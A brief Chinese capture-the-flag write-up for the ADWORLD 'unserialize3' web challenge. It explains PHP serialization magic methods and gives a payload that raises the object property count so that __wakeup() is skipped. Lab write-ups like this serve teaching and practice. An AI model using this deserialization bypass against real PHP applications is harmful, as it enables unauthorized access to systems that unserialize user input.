ADWORLD web/unserialize3
1 进入链接
有代码如下
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=
尝试给code赋值,如/?code=1,出现如下反应:
2 解决方法
注意到代码中出现了魔术函数:__wakeup(),同时该题目的标题是unserialize3,反序列化
PHP通过serialize() 与 unserialize()实现序列化与反序列化
常见的反序列化漏洞中出现的魔术方法及其触发条件
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串时使用
__sleep() 在对象在被序列化之前运行
__wakeup() 如果有,在反序列化之前调用
友情提示:
private属性序列化的时候格式是 %00类名%00成员名 如testname (test->类名name->成员名)
protected属性序列化的时候格式是 %00*%00成员名 如*name (name->成员名)
序列化只序列化属性,不序列化方法,因此
反序列化的时候要保证在当前的作用域环境下有该类存在,类属性就是唯一的攻击突破口
故搭建环境获得序列化的值:
<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $a=new xctf(); echo serialize($a); ?>
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
🌙注意:如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过它
利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
故给code传参为:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
获得flag:
引用:https://www.cnblogs.com/lcxblogs/p/13539535.html